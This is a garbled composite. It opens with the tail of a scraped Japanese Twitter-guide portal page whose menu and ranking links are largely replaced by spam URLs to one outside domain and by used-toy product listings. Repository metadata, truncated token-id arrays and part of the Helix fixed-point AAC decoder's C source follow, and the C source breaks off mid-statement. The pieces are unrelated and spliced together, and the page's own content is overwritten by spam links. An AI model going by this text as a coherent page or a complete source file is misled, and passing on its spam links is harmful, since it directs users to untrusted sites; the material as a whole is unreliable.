プレミアムクラブ限定)[タイムハウス]《発売済?在庫品》</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://natalie.mu/media/comic/1502/0212/extra/news_xlarge_majicalo.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="http://twinavi.jp/topics/entertainment#topics-ranking">エンタメ</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>新鋭・鈍速毎日が描く熱血魔法少女アクション...</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>1/1000 新海底軍艦 ラ號 未塗装組立キット[Team Toys],【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </a></li> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021712333qn.html">http://factory.aedew.com/images/Chershire/02021712333qn.html</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://pbs.twimg.com/media/CXxje1GUMAAo8pE.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">オモシロ</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ピントと写真の関係性について。</a></li> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021725017jg.html">http://factory.aedew.com/images/Chershire/02021725017jg.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>子供たちにかかわるすべての大人たちへ。さま...</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="/topics/lifestyle/560bcdc1-aa20-49c0-aa74-6230ac133a21" class="block"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/11/tweet-alt-pic.png" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">ライフスタイル</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021711985xa.html">http://factory.aedew.com/images/Chershire/02021711985xa.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>母が不幸なのはわたしのせいではない。わたし...</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>特撮プロップmini-mini大作戦 第5弾 ボーンフリー号[アルバトロスジャパン]</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="/img/topics/thumbnail/internetcom.gif?1450773495" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">IT</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>Google カレンダーのデータを Excel にエクス...</a></li> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021729644vf.html">http://factory.aedew.com/images/Chershire/02021729644vf.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>家族で使いやすいLINEスタンプ登場--「洗濯し...</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://www.gizmodo.jp/images/2015/12/151225arcticwinter.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">カルチャー</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>【中古】(本体B/箱B)特撮リボルテック No.032 レギオン 映画『ガメラ2 レギオン襲来』より[海洋堂]</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>海の上はハードル高すぎた…SpaceX、ついに地...</a></li> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021718603cc.html">http://factory.aedew.com/images/Chershire/02021718603cc.html</a></li> </ol> </div> <div class="clearfix"></div> <div class="column home-buzzimage"> <a href="" class="block"><img src="http://f.image.geki.jp/data/image/news/2560/154000/153676/news_153676_1.jpg" class="article-thumbnail" alt="" /></a> </div> <div class="home-buzzlinks"> <h2 class="small"><a href="">スポーツ</a>:</h2> <ol class="home-rankinglist"> <li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>徳島がDF村松の契約満了を発表</a></li> <li class="small list-s"><a href="http://factory.aedew.com/images/Chershire/02021739158sz.html">http://factory.aedew.com/images/Chershire/02021739158sz.html</a></li> <li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>「彼らは素晴らしい選手」個性磨いた神奈川県...</a></li> </ol> </div> <div class="clearfix"></div> </div> </section> <section id="home-faq" class="section"> <h1 class="section-title small navi"><a href="">Twitter使い方ガイド よくある質問アクセスランキング</a></h1> <div class="section-body"> <ol> <li class="small list-l lined"><a href="http://factory.aedew.com/images/Chershire/02021730005mf.html">http://factory.aedew.com/images/Chershire/02021730005mf.html</a></li> <li class="small list-l lined"><a href="" class="ranking"><span class="rank rank2">2</span>自分のツイートを削除するにはどうしたらいいですか?</a></li> <li class="small list-l lined"><a href="" class="ranking"><span class="rank rank3">3</span>【中古】(本体B+/箱B)S.I.C. 仮面ライダーオーズ タジャドル コンボ(ロストブレイズver.) (魂ウェブ限定)[バンダイ]</a></li> </ol> </div> <div class="section-footer"> <a href="" class="link-more">もっと知りたい!「Twitter使い方ガイド」</a> </div> </section> </div> </div> <aside class="column sub"> <section id="twinavi-tweet" class="section"> <h1 class="section-title small">最新のツイナビツイート</h1> <div class="section-body"> <p class="small">【話題のツイート】私が「♪お手〜伝いロボ♪ 緊急出動〜♪」って歌えば、子供達は… <a rel="nofollow" target="_blank" href="">【中古】(本体A-/箱C)S.I.C. 仮面ライダーオーズ タトバコンボ[バンダイ]</a></p> </div> <div class="follow_sidebar follow_twitter"> <span class="altimg hukidashi"></span> <div class="column"> <a href="" title="ツイナビのTwitterアカウント" class="altimg icon m ic-twinavi">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] <</a> </div> <div class="giftext icon-m"> <a href="" title="ツイナビのTwitterアカウント" class="small">Twitterの最新情報をチェックしよう!</a> <a href="https://twitter.com/" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="true">をフォロー</a> </div> <div class="clearfix"></div> </div> </section> <section id="facebook" class="section"> <p class="small">Facebook</p> <div class="follow_fb"><div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="55" data-show-faces="false"></div></div> </section> <section id="home-side-account" class="section"> <h1 class="section-title small sub"><a href="">有名アカウントを探す</a></h1> <div class="section-body-sub"> <ul> <li> <a href="" class="lined all block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 総合<br /> <span class="num mute xsmall">71,071人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 有名人・芸能人<br /> <span class="num mute xsmall">2,867人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/680394216774619138/6MmJRmsb_bigger.jpg" alt="タワーレコード川崎店(通称:タワ崎)" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> エンタメ<br /> <span class="num mute xsmall">3,226人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> <span style="letter-spacing:-2px">くらし・おでかけ</span><br /> <span class="num mute xsmall">6,128人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ショップジャパン【公式】" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> メディア<br /> <span class="num mute xsmall">2,639人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/428453450527940609/6BmKmb99_bigger.jpeg" alt="旭川市旭山動物園[公式]" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> 社会・政治<br /> <span class="num mute xsmall">886人</span> </span> </a> </li> <li> <a href="" class="lined block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/1245987829/tokoro_san_bigger.jpg" alt="所英男" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> スポーツ<br /> <span class="num mute xsmall">1,080人</span> </span> </a> </li> <li> <a href="" class="lined last block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/666407537084796928/YBGgi9BO_bigger.png" alt="Twitter" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> ビジネス・経済<br /> <span class="num mute xsmall">2,996人</span> </span> </a> </li> <li> <a href="" class="lined last block"> <span class="column icon-32"> <img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" /> </span> <span class="giftext icon-32 small"> サービス<br /> <span class="num mute xsmall">3,871人</span> </span> </a> </li> </ul> <div class="clearfix"></div> </div> </section> <section class="section"> <h1 class="section-title small sub"><a href="">ツイッター使い方ガイド</a></h1> <div class="section-body-sub"> <ul> <li class="small dotted lined"><a href="http://factory.aedew.com/images/Chershire/02021741757kn.html">http://factory.aedew.com/images/Chershire/02021741757kn.html</a></li> <li class="small dotted lined"><a href="">基本的な使い方</a></li> <li class="small dotted lined"><a href="http://factory.aedew.com/images/Chershire/02021712041oz.html">http://factory.aedew.com/images/Chershire/02021712041oz.html</a></li> <li class="small dotted lined"><a href="">FAQ よくある質問</a></li> <li class="small dotted lined last" last><a href="">用語集</a></li> </ul> </div> </section> <div class="section section-fbwidget"> <div class="section-title small sub">Facebook</div> <div class="fb-like-box" data-href="http://www.facebook.com/" data-width="292" data-height="255" data-colorscheme="light" data-show-faces="true" data-header="false" data-stream="false" data-show-border="false">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </div> </div> </aside> <div class="clearfix"></div> <nav class="contents"> <br /> <a href="" class="link-top absright">ページの上部へ</a> </nav> </div> <footer id="pagefooter" class="wrapper"> <div class="contents"> <nav> <ul id="sitemap"> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-topics">話題</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021731639hd.html">http://factory.aedew.com/images/Chershire/02021731639hd.html</a></li> <li><a href="">ニュース</a></li> <li><a href="">オモシロ</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021734714cl.html">http://factory.aedew.com/images/Chershire/02021734714cl.html</a></li> <li><a href="">エンタメ</a></li> <li><a href="">IT</a></li> <li><a href="">カルチャー</a></li> <li><a href="">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </a></li> <li><a href="">お知らせ</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-matome">まとめ</a></span> <ul> <li><a href="http://twinavi.jp/matome/category/%E3%82%B3%E3%83%9F%E3%83%83%E3%82%AF%E3%83%BB%E3%82%A2%E3%83%8B%E3%83%A1">コミック・アニメ</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%82%B2%E3%83%BC%E3%83%A0">ゲーム</a></li> <li><a href="">映画</a></li> <li><a href="" class="div-inner small on">TV番組</a></li> <li><a href="">芸能(海外)</a></li> <li><a href="http://twinavi.jp/matome/category/%E8%8A%B8%E8%83%BD%EF%BC%88%E5%9B%BD%E5%86%85%EF%BC%89">芸能(国内)</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%83%97%E3%83%AD%E9%87%8E%E7%90%83">プロ野球</a></li> <li><a href="">Jリーグ</a></li> <li><a href="">スポーツ選手</a></li> <li><a href="http://twinavi.jp/matome/category/%E3%82%AC%E3%82%B8%E3%82%A7%E3%83%83%E3%83%88">ガジェット</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021752949og.html">http://factory.aedew.com/images/Chershire/02021752949og.html</a></li> <li><a href="">政治</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021724818sm.html">http://factory.aedew.com/images/Chershire/02021724818sm.html</a></li> <li><a href="">IT</a></li> <li><a href="http://twinavi.jp/matome/category/%E9%9F%B3%E6%A5%BD">音楽</a></li> <li><a href="">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </a></li> <li><a href="">社会</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021750784sh.html">http://factory.aedew.com/images/Chershire/02021750784sh.html</a></li> </ul> <br class="block clearfix"><br> </li> <li class="sitemap-block"> <span class="top-sitemap"><a href="http://factory.aedew.com/images/Chershire/02021728211yy.html">http://factory.aedew.com/images/Chershire/02021728211yy.html</a></span> <ul> <li><a href="">インタビュー 一覧</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-account">Twitter</a></span> <ul> <li><a href="./index.html">総合</a></li> <li><a href="http://twinavi.jp/account/list/%E6%9C%89%E5%90%8D%E4%BA%BA%E3%83%BB%E8%8A%B8%E8%83%BD%E4%BA%BA">有名人・芸能人</a></li> <li><a href="">エンタメ</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021740649lv.html">http://factory.aedew.com/images/Chershire/02021740649lv.html</a></li> <li><a href="">メディア</a></li> <li><a href="http://twinavi.jp/account/list/%E3%83%93%E3%82%B8%E3%83%8D%E3%82%B9%E3%83%BB%E7%B5%8C%E6%B8%88">ビジネス・経済</a></li> <li><a href="">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </a></li> <li><a href="">スポーツ</a></li> <li><a href="">サービス</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021754718aj.html">http://factory.aedew.com/images/Chershire/02021754718aj.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-topics">特別企画</a></span> <ul> <li class="clearfix"><a href="">アンケート</a></li> <li><a href="">選挙</a></li> </ul> </li> <li class="sitemap-block"><span class="top-sitemap"><a href="" class="servicename ti-guide">Twitter使い方ガイド</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021750214xx.html">http://factory.aedew.com/images/Chershire/02021750214xx.html</a></li> <li><a href="">Twitterとは</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021713880tv.html">http://factory.aedew.com/images/Chershire/02021713880tv.html</a></li> <li><a href="">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </a></li> <li><a href="">よくある質問</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021711297xb.html">http://factory.aedew.com/images/Chershire/02021711297xb.html</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-twitter">ツイッター検索</a></span> <ul> <li><a href="">キーワード検索</a></li> <li><a href="">ユーザー会話検索</a></li> </ul> <br class="block clearfix"><br> <span class="top-sitemap"><a href="" class="servicename ti-help">ツイナビヘルプ</a></span> <ul> <li><a href="http://factory.aedew.com/images/Chershire/02021705258lc.html">http://factory.aedew.com/images/Chershire/02021705258lc.html</a></li> <li><a href="">よくある質問</a></li> </ul> </li> </ul> </nav> <div class="clearfix"></div> </div> <div id="footer-giftext"> <div class="contents"> <!-- giftext --> <div class="column footer-giftext"> <div class="column"> <a href="http://factory.aedew.com/images/Chershire/02021709409dg.html">http://factory.aedew.com/images/Chershire/02021709409dg.html</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Twitter</span> <a href="" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="false">S.I.C. 仮面ライダーウィザード フレイムドラゴン&オールドラゴン 『仮面ライダーウィザード』[バンダイ]《発売済?在庫品》</a> </div> </div> <div class="column footer-giftext"> <div class="column"> <a href="https://www.facebook.com/" target="_blank" class="altimg icon m ic-facebook">facebook</a> </div> <div class="giftext icon-m"> <span class="subtitle">ツイナビ公式Facebook</span> <div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="200" data-show-faces="false">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </div> </div> </div> <div class="column footer-giftext twinavismart"> <div class="column"> <a href="" class="altimg icon m ic-twinavismart">ツイナビforスマートフォン</a> </div> <div class="giftext icon-m"> <span class="subtitle"><a href="">ツイナビforスマートフォン</a></span> <span class="xsmall"><a href="">スマートフォンでアクセス!</a></span> </div> </div> <!-- //giftext --> <div class="clearfix"></div> </div> </div> <div class="contents last"> <ul id="docs" class="centered xsmall"> <li><a href="">ツイナビ ホーム</a></li> <li><a href="">利用規約</a></li> <li><a href="http://www.garage.co.jp/corporate/policy/index.html" target="_blank">個人情報保護方針</a></li> <li><a href="">健全化に関する指針</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021715620ps.html">http://factory.aedew.com/images/Chershire/02021715620ps.html</a></li> <li><a href="http://factory.aedew.com/images/Chershire/02021740140uq.html">http://factory.aedew.com/images/Chershire/02021740140uq.html</a></li> <li><a href="">広告掲載について</a></li> <li class="last"><a href="">お問い合わせ</a> </ul> <p class="centered xsmall"><small>Copyright &copy; 2016 All rights reserved.</small></p> </div> </footer> <div class="hide"> <div id="preregister-box"> <p class="preregister-title large">【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </p> <p class="preregister-text">【中古】(本体A/箱A)S.I.C. 仮面ライダーオーズ シャウタコンボ (魂ウェブ限定)[バンダイ]<br/>【中古】(本体A/箱A)S.I.C. 改造兵士レベル3(魂ウェブ限定)[バンダイ]《発売済?在庫品》,【中古】(本体A/箱B)figma テラフォーマーズ テラフォーマー[マックスファクトリー] </p> <p><a href="" class="btn login preregister-login">Twitterでの認証に進む</a></p> </div> </div> </body> </html>
ForAEdesWeb/AEW2
images/Chershire/02021757609vn.html
HTML
gpl-2.0
60,412
[ 30522, 1026, 5896, 5034, 2278, 1027, 1000, 8299, 1024, 1013, 1013, 18133, 2213, 1012, 4029, 16429, 26230, 1012, 8917, 1013, 4763, 1013, 1015, 1012, 1046, 2015, 1000, 1028, 1026, 1013, 5896, 1028, 1026, 5896, 5034, 2278, 1027, 1000, 8299, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* ***** BEGIN LICENSE BLOCK ***** * Source last modified: $Id: aacdec.c,v 1.1 2005/02/26 01:47:31 jrecker Exp $ * * Portions Copyright (c) 1995-2005 RealNetworks, Inc. All Rights Reserved. * * The contents of this file, and the files included with this file, * are subject to the current version of the RealNetworks Public * Source License (the "RPSL") available at * http://www.helixcommunity.org/content/rpsl unless you have licensed * the file under the current version of the RealNetworks Community * Source License (the "RCSL") available at * http://www.helixcommunity.org/content/rcsl, in which case the RCSL * will apply. You may also obtain the license terms directly from * RealNetworks. You may not use this file except in compliance with * the RPSL or, if you have a valid RCSL with RealNetworks applicable * to this file, the RCSL. Please see the applicable RPSL or RCSL for * the rights, obligations and limitations governing use of the * contents of the file. * * This file is part of the Helix DNA Technology. RealNetworks is the * developer of the Original Code and owns the copyrights in the * portions it created. * * This file, and the files included with this file, is distributed * and made available on an 'AS IS' basis, WITHOUT WARRANTY OF ANY * KIND, EITHER EXPRESS OR IMPLIED, AND REALNETWORKS HEREBY DISCLAIMS * ALL SUCH WARRANTIES, INCLUDING WITHOUT LIMITATION, ANY WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET * ENJOYMENT OR NON-INFRINGEMENT. * * Technology Compatibility Kit Test Suite(s) Location: * http://www.helixcommunity.org/content/tck * * Contributor(s): * * ***** END LICENSE BLOCK ***** */ /************************************************************************************** * Fixed-point HE-AAC decoder * Jon Recker (jrecker@real.com), Ken Cooke (kenc@real.com) * February 2005 * * aacdec.c - platform-independent top level decoder API **************************************************************************************/ #include "aaccommon.h" #include "profile.h" #define PROFILE_START(x) #define PROFILE_END() /************************************************************************************** * Function: AACInitDecoder * * Description: allocate memory for platform-specific data * clear all the user-accessible fields * initialize SBR decoder if enabled * * Inputs: none * * Outputs: none * * Return: handle to AAC decoder instance, 0 if malloc fails **************************************************************************************/ HAACDecoder AACInitDecoder(void) { AACDecInfo *aacDecInfo; aacDecInfo = AllocateBuffers(); if (!aacDecInfo) return 0; #ifdef AAC_ENABLE_SBR if (InitSBR(aacDecInfo)) { AACFreeDecoder(aacDecInfo); return 0; } #endif return (HAACDecoder)aacDecInfo; } /************************************************************************************** * Function: AACFreeDecoder * * Description: free platform-specific data allocated by AACInitDecoder * free SBR decoder if enabled * * Inputs: valid AAC decoder instance pointer (HAACDecoder) * * Outputs: none * * Return: none **************************************************************************************/ void AACFreeDecoder(HAACDecoder hAACDecoder) { AACDecInfo *aacDecInfo = (AACDecInfo *)hAACDecoder; if (!aacDecInfo) return; #ifdef AAC_ENABLE_SBR FreeSBR(aacDecInfo); #endif FreeBuffers(aacDecInfo); } /************************************************************************************** * Function: AACFindSyncWord * * Description: locate the next byte-alinged sync word in the raw AAC stream * * Inputs: buffer to search for sync word * max number of bytes to search in buffer * * Outputs: none * * Return: offset to first sync word (bytes from start of buf) * -1 if sync not found after searching nBytes **************************************************************************************/ int AACFindSyncWord(unsigned char *buf, int nBytes) { int i; /* find byte-aligned syncword (12 bits = 0xFFF) */ for (i = 0; i < nBytes - 1; i++) { if ( (buf[i+0] & SYNCWORDH) == SYNCWORDH && (buf[i+1] & SYNCWORDL) == SYNCWORDL ) return i; } return -1; } /************************************************************************************** * Function: AACGetLastFrameInfo * * Description: get info about last AAC frame decoded (number of samples decoded, * sample rate, bit rate, etc.) * * Inputs: valid AAC decoder instance pointer (HAACDecoder) * pointer to AACFrameInfo struct * * Outputs: filled-in AACFrameInfo struct * * Return: none * * Notes: call this right after calling AACDecode() **************************************************************************************/ void AACGetLastFrameInfo(HAACDecoder hAACDecoder, AACFrameInfo *aacFrameInfo) { AACDecInfo *aacDecInfo = (AACDecInfo *)hAACDecoder; if (!aacDecInfo) { aacFrameInfo->bitRate = 0; aacFrameInfo->nChans = 0; aacFrameInfo->sampRateCore = 0; aacFrameInfo->sampRateOut = 0; aacFrameInfo->bitsPerSample = 0; aacFrameInfo->outputSamps = 0; aacFrameInfo->profile = 0; aacFrameInfo->tnsUsed = 0; aacFrameInfo->pnsUsed = 0; } else { aacFrameInfo->bitRate = aacDecInfo->bitRate; aacFrameInfo->nChans = aacDecInfo->nChans; aacFrameInfo->sampRateCore = aacDecInfo->sampRate; aacFrameInfo->sampRateOut = aacDecInfo->sampRate * (aacDecInfo->sbrEnabled ? 2 : 1); aacFrameInfo->bitsPerSample = 16; aacFrameInfo->outputSamps = aacDecInfo->nChans * AAC_MAX_NSAMPS * (aacDecInfo->sbrEnabled ? 2 : 1); aacFrameInfo->profile = aacDecInfo->profile; aacFrameInfo->tnsUsed = aacDecInfo->tnsUsed; aacFrameInfo->pnsUsed = aacDecInfo->pnsUsed; } } /************************************************************************************** * Function: AACSetRawBlockParams * * Description: set internal state variables for decoding a stream of raw data blocks * * Inputs: valid AAC decoder instance pointer (HAACDecoder) * flag indicating source of parameters * AACFrameInfo struct, with the members nChans, sampRate, and profile * optionally filled-in * * Outputs: updated codec state * * Return: 0 if successful, error code (< 0) if error * * Notes: if copyLast == 1, then the codec sets up its internal state (for * decoding raw blocks) based on previously-decoded ADTS header info * if copyLast == 0, then the codec uses the values passed in * aacFrameInfo to configure its internal state (useful when the * source is MP4 format, for example) **************************************************************************************/ int AACSetRawBlockParams(HAACDecoder hAACDecoder, int copyLast, AACFrameInfo *aacFrameInfo) { AACDecInfo *aacDecInfo = (AACDecInfo *)hAACDecoder; if (!aacDecInfo) return ERR_AAC_NULL_POINTER; aacDecInfo->format = AAC_FF_RAW; if (copyLast) return SetRawBlockParams(aacDecInfo, 1, 0, 0, 0); else return SetRawBlockParams(aacDecInfo, 0, aacFrameInfo->nChans, aacFrameInfo->sampRateCore, aacFrameInfo->profile); } /************************************************************************************** * Function: AACFlushCodec * * Description: flush internal codec state (after seeking, for example) * * Inputs: valid AAC decoder instance pointer (HAACDecoder) * * Outputs: updated state variables in aacDecInfo * * Return: 0 if successful, error code (< 0) if error **************************************************************************************/ int AACFlushCodec(HAACDecoder hAACDecoder) { int ch; AACDecInfo *aacDecInfo = (AACDecInfo *)hAACDecoder; if (!aacDecInfo) return ERR_AAC_NULL_POINTER; /* reset common state variables which change per-frame * don't touch state variables which are (usually) constant for entire clip * (nChans, sampRate, profile, format, sbrEnabled) */ aacDecInfo->prevBlockID = AAC_ID_INVALID; aacDecInfo->currBlockID = AAC_ID_INVALID; aacDecInfo->currInstTag = -1; for (ch = 0; ch < MAX_NCHANS_ELEM; ch++) aacDecInfo->sbDeinterleaveReqd[ch] = 0; aacDecInfo->adtsBlocksLeft = 0; aacDecInfo->tnsUsed = 0; aacDecInfo->pnsUsed = 0; /* reset internal codec state (flush overlap buffers, etc.) */ FlushCodec(aacDecInfo); #ifdef AAC_ENABLE_SBR FlushCodecSBR(aacDecInfo); #endif return ERR_AAC_NONE; } /************************************************************************************** * Function: AACDecode * * Description: decode AAC frame * * Inputs: valid AAC decoder instance pointer (HAACDecoder) * double pointer to buffer of AAC data * pointer to number of valid bytes remaining in inbuf * pointer to outbuf, big enough to hold one frame of decoded PCM samples * (outbuf must be double-sized if SBR enabled) * * Outputs: PCM data in outbuf, interleaved LRLRLR... if stereo * number of output samples = 1024 per channel (2048 if SBR enabled) * updated inbuf pointer * updated bytesLeft * * Return: 0 if successful, error code (< 0) if error * * Notes: inbuf pointer and bytesLeft are not updated until whole frame is * successfully decoded, so if ERR_AAC_INDATA_UNDERFLOW is returned * just call AACDecode again with more data in inbuf **************************************************************************************/ int AACDecode(HAACDecoder hAACDecoder, unsigned char **inbuf, int *bytesLeft, short *outbuf) { int err, offset, bitOffset, bitsAvail; int ch, baseChan, baseChanSBR, elementChans; unsigned char *inptr; AACDecInfo *aacDecInfo = (AACDecInfo *)hAACDecoder; #ifdef AAC_ENABLE_SBR int elementChansSBR; #endif if (!aacDecInfo) return ERR_AAC_NULL_POINTER; /* make local copies (see "Notes" above) */ inptr = *inbuf; bitOffset = 0; bitsAvail = (*bytesLeft) << 3; /* first time through figure out what the file format is */ if (aacDecInfo->format == AAC_FF_Unknown) { if (bitsAvail < 32) return ERR_AAC_INDATA_UNDERFLOW; if (IS_ADIF(inptr)) { /* unpack ADIF header */ aacDecInfo->format = AAC_FF_ADIF; err = UnpackADIFHeader(aacDecInfo, &inptr, &bitOffset, &bitsAvail); if (err) return err; } else { /* assume ADTS by default */ aacDecInfo->format = AAC_FF_ADTS; } } /* if ADTS, search for start of next frame */ if (aacDecInfo->format == AAC_FF_ADTS) { /* can have 1-4 raw data blocks per ADTS frame (header only present for first one) */ if (aacDecInfo->adtsBlocksLeft == 0) { offset = AACFindSyncWord(inptr, bitsAvail >> 3); if (offset < 0) return ERR_AAC_INDATA_UNDERFLOW; inptr += offset; bitsAvail -= (offset << 3); err = UnpackADTSHeader(aacDecInfo, &inptr, &bitOffset, &bitsAvail); if (err) return err; if (aacDecInfo->nChans == -1) { /* figure out implicit channel mapping if necessary */ err = GetADTSChannelMapping(aacDecInfo, inptr, bitOffset, bitsAvail); if (err) return err; } } aacDecInfo->adtsBlocksLeft--; } else if (aacDecInfo->format == AAC_FF_RAW) { err = PrepareRawBlock(aacDecInfo); if (err) return err; } /* check for valid number of channels */ if (aacDecInfo->nChans > AAC_MAX_NCHANS || aacDecInfo->nChans <= 0) return ERR_AAC_NCHANS_TOO_HIGH; /* will be set later if active in this frame */ aacDecInfo->tnsUsed = 0; aacDecInfo->pnsUsed = 0; bitOffset = 0; baseChan = 0; baseChanSBR = 0; do { /* parse next syntactic element */ err = DecodeNextElement(aacDecInfo, &inptr, &bitOffset, &bitsAvail); if (err) return err; elementChans = elementNumChans[aacDecInfo->currBlockID]; if (baseChan + elementChans > AAC_MAX_NCHANS) return ERR_AAC_NCHANS_TOO_HIGH; /* noiseless decoder and dequantizer */ for (ch = 0; ch < elementChans; ch++) { PROFILE_START("noiseless decoder"); err = DecodeNoiselessData(aacDecInfo, &inptr, &bitOffset, &bitsAvail, ch); PROFILE_END(); if (err) return err; PROFILE_START("dequant"); if (Dequantize(aacDecInfo, ch)) return ERR_AAC_DEQUANT; PROFILE_END(); } PROFILE_START("mid-side and intensity stereo"); /* mid-side and intensity stereo */ if (aacDecInfo->currBlockID == 